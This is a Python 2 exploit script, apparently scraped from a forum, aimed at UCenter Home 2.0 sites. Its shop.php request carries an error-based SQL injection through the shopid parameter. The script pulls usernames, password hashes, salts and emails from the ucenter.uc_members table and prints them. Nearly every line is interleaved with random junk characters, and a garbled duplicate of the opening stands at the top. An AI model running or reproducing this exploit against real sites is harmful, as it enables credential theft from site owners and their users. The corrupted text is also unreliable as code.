#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
# r+ ~& l9 ?; l+ E
7 E1 C! F: I5 z& R" T. T4 m
8 j7 \; N6 W1 C6 n+ S/ R/ ^1 k# k#!/usr/bin/env python
" E7 P, W& E8 o" E! N, o8 O( J$ f 7 A2 s3 h% |0 d4 S( U
import sys
4 q. |* y: b- W- fimport urllib2 + V% N. r& W7 O5 t, p4 ^
import re & v! \2 c: \+ o: C- f7 F3 R$ ~
w1 n/ D% H+ s% k0 X
def info(): ) b) ~: M0 q+ u7 w* O8 f7 D
print 'From:http://www.exploit-db.com/exploits/14997/'
) {. V9 N* V: h4 v1 @ print 'http://www.hake.cc/Web_loudong/' U3 z2 {6 l5 `9 X1 l
print 'changed:qiaoy'
+ S7 }6 H7 u4 S2 ^$ s1 Z print 'exp:' . h6 I. s: I9 L5 P8 C. E& m8 u
print ' ./UCenter_Home_2.0.py site'
$ J- A. _0 k0 Z
! O8 I, r1 t0 m/ f& _4 r% jdef main(): # m& f/ a: f: r/ J% A! c$ U+ ^7 ]1 m
if len(sys.argv) != 2:
1 Z4 o& D: x" @: x info()
7 H n& w4 m2 S5 g3 S else: ) |/ w5 x( ]$ m. e1 _8 g+ G4 H* w: O
site = sys.argv[1] ( k# |7 H3 [3 I; h
if site[0:7] == 'http://': v B# y/ J$ z! B( I
sitesite =site & Q* e( Z4 a. T7 \' i% f3 u
elif site[0:8] == 'https://': 4 F: D- ?' B5 C# m1 S
sitesite = site
' p- j$ e5 M3 @2 V1 Z; c else:
; }3 p% V m8 w+ I8 X site = 'http://'+site / B, D. H+ G1 U5 H. M
try: 4 X% }4 z5 W( y7 _3 g
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' 5 ^: p7 X! U! \: s
Value = urllib2.urlopen(url).read() + p3 I: d8 V6 R: u8 P/ X
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
2 o9 |& ~, U' [/ c hacked = Msg.split(':') ' y' E0 |8 F/ |/ J
print 'Name: '+hacked[1]
0 q% a& n. A5 D+ m print 'Passwd: '+hacked[2]
' {3 d j& O+ \5 Q: ] print 'salt: '+hacked[3] 0 z, j; a; Q* n6 o/ u* _9 M' ]
print 'email: '+hacked[4] 0 F) D" m5 {0 W; L
except: / `4 e) U0 v4 U# Q
print 'Sorry,I can\'t work............'
0 C# h D' s/ N3 u- G
0 ]7 k9 a6 y j: dif __name__ == '__main__':
" z, Q6 v/ ^1 `7 \1 J* a main() |